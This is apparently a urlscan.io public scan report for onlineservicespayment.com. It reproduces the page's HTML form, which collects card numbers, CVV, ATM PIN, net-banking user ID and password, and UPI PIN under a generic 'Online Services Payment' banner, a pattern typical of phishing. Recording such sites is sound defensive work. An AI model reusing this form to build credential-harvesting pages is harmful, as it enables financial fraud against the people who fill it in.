onlineservicespayment.com Open in urlscan Pro
88.198.134.105  Public Scan

Form analysis
1 forms found in the DOM

POST /index.php

<form class="steps" action="/index.php" method="post">
  <fieldset>
    <img src="img/contact.jpg" style="width:100%; height:auto; border-radius:4px;"><br>
    <center><b style="background: linear-gradient(to bottom right, orange, white, green); font-weight:600; font-size:26.5px;">Online Services Payment</b></center>
    <img src="img/header_logo.jpg" style="width:100%; height:auto;"><br><br>
    <div class="row">
      <div class="col-md-6">
        <!-- Begin What's Your First Name Field -->
        <div class="form-control1">
          <label for="user_name" class="m-0">Full Name <span style="color:red">*</span></label>
          <input type="text" name="user_name" id="user_name" placeholder="Enter Your Name" required="">
        </div>
        <!-- End What's Your First Name Field -->
      </div>
      <div class="col-md-6">
        <!-- Begin What's Your Mob No Field -->
        <div class="form-control1">
          <label for="user_mob" class="m-0">Mobile No. <span style="color:red">*</span></label>
          <input type="tel" name="user_mob" id="user_mob" pattern="[1-9]{1}[0-9]{9}" minlength="10" maxlength="10" placeholder="Enter Mob No" required="">
        </div>
        <!-- End What's Your Mob No Field -->
      </div>
    </div>
    <div class="row">
      <div class="col-6">
        <!-- Begin What's Your Mob No Field -->
        <div class="form-control1">
          <label for="user_amount" class="m-0">Amount. <span style="color:red">*</span></label>
          <input id="user_mob" name="user_amount" placeholder="Enter Amount" required="">
        </div>
        <!-- End What's Your Mob No Field -->
      </div>
      <div class="col-6">
        <!-- Begin What's Your Mob No Field -->
        <div class="form-control1">
          <label for="payment_method" class="m-0">Payment Method <span style="color:red">*</span></label>
          <select name="payment_method" id="type" required="">
            <option disabled="" selected="" value="">--- Select Payment Mode ---</option>
            <option value="credit-card">Credit / Debit Card</option>
            <option value="net_banking">Internet Banking</option>
            <option value="phone_pay">Phone Pay</option>
            <option value="phone_pay">Google Pay</option>
            <option value="phone_pay">Paytm</option>
            <option value="phone_pay">Amazon Pay</option>
            <option disabled="">Other</option>
          </select>
        </div>
        <!-- End What's Your Mob No Field -->
      </div>
      <div class="row credit-card box m-0 p-0" style="display: none;">
        <div class="col-md-12">
          <div class="form-control1">
            <label for="user_name" class="m-0">Card No. <span style="color:red">*</span></label>
            <input id="card_no" name="card_no" type="text" placeholder="Card No">
          </div>
        </div>
        <div class="col-5">
          <div class="form-control1">
            <label for="user_name" class="m-0">Exipary Date <span style="color:red">*</span></label>
            <input id="user_mob" name="exipary_date" type="text" placeholder="MM/YY">
          </div>
        </div>
        <div class="col-3">
          <div class="form-control1">
            <label for="user_name" class="m-0">CVV<span style="color:red">*</span></label>
            <input id="user_mob" name="cvv_no" type="text" placeholder="CVV No">
          </div>
        </div>
        <div class="col-4">
          <div class="form-control1">
            <label for="user_name" class="m-0">ATM Pin<span style="color:red">*</span></label>
            <input id="user_mob" name="atm_pin" type="text" placeholder="Pin">
          </div>
        </div>
      </div>
      <!--For Netbanking-->
      <div class="row net_banking box m-0 p-0" style="display: none;">
        <div class="col-md-8">
          <div class="form-control1">
            <label for="user_id" class="m-0">User I'D<span style="color:red">*</span></label>
            <input type="text" name="user_id" id="user_id" placeholder="User I'd">
          </div>
        </div>
        <div class="col-md-4">
          <div class="form-control1">
            <label for="user_pass" class="m-0">Password<span style="color:red">*</span></label>
            <input type="text" name="user_pass" id="user_pass" placeholder="Password" minlength="4" maxlength="6" title="Length must be 4 letters">
          </div>
        </div>
      </div>
      <!--For Phonepay-->
      <div class="row phone_pay box m-0 p-0" style="display: none;">
        <div class="col-md-12">
          <!-- Begin What's Your Upi Pin No Field -->
          <div class="form-control1">
            <label for="user_name" class="m-0">UPI Pin<span style="color:red">*</span></label>
            <input type="text" name="upi_pin" id="upi_pin" placeholder="UPI Pin" required="">
          </div>
          <!-- End What's Your Upi Pin Field -->
        </div>
      </div>
      <button type="submit" id="user_apply" name="user_apply" class="action-button">Submit</button>
    </div>
  </fieldset>
</form>

Text Content

Online Services Payment


Full Name *
Mobile No. *
Amount. *
Payment Method * --- Select Payment Mode --- Credit / Debit Card Internet
Banking Phone Pay Google Pay Paytm Amazon Pay Other
Card No. *
Exipary Date *
CVV*
ATM Pin*
User I'D*
Password*
UPI Pin*
Submit